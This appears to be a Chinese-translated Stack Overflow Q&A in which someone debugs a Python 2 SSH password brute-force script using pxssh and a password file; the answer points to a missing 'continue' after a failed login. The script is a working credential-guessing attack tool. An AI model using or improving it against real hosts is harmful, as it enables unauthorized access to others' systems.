在导入相关库并使用 pxssh 库创建连接函数后,我创建了我的主函数来接受“主机”、“用户”和我提供的文件名的参数。
程序成功读取文件并将每个密码字符串解析到 s.login 方法中,并在找到密码后返回“成功”消息。我假设这意味着已经与 ssh 服务器建立了连接。但是从'con = connect'的角度来看,我没有得到任何打印语句说[SSH连接...]比我在成功找到密码后得到命令行提示但在输入命令后得到一个属性错误反对 con.sendline -
>ls -l
Traceback (most recent call last):
File "sshBruteFpw.py", line 60, in <module>
main()
File "sshBruteFpw.py", line 52, in main
con.sendline(command)
AttributeError: 'NoneType' object has no attribute 'sendline'
root@kali:~/Desktop/scripts#
当我知道库包含此方法时,我不知道为什么 con.sendline 没有属性“sendline”。我已经用其他方式测试了这个 sendline 方法,它会起作用。
对此非常感谢任何帮助。提前致谢...
import pxssh
import argparse
import time
import sys
import getpass
def connect(host, user, password):
Fails = 0
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] password found! ' + password
return s
except Exception, e:
if Fails > 5:
print '[-] Too many Socket Timeouts!!'
sys.exit(1)
elif 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
return connect(host, user, password)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
return connect(host, user, password)
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('host', help='Specify Target Host')
parser.add_argument('user', help='Specify Target User')
parser.add_argument('file', help='Specify Password File')
args = parser.parse_args()
if args.host and args.user and args.file: #if these args are all true
with open(args.file, 'r') as infile: #open with and read only the specified file as 'infile'
for line in infile:
password = line.strip('\r\n')#read and strip each line
print "[+] testing passsword " + str(password) #print statement + the read PW being read from the file(converts all to str in case there is a numerical value as well)
con = connect(args.host, args.user, password)
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
con.prompt()
print con.before
command = raw_input(">")
else:
print parser.usage
sys.exit(1)
if __name__ == '__main__':
main()
最佳答案
除非缩进非常偏离,否则即使您没有 con
,您也会进入该代码分支。设置:
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
在第二行之后,应该有
continue
,如果连接失败,不是吗?
关于python - 属性错误 : 'NoneType' object has no attribute 'sendline' yet module contains the attribute having tested it another way?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42676981/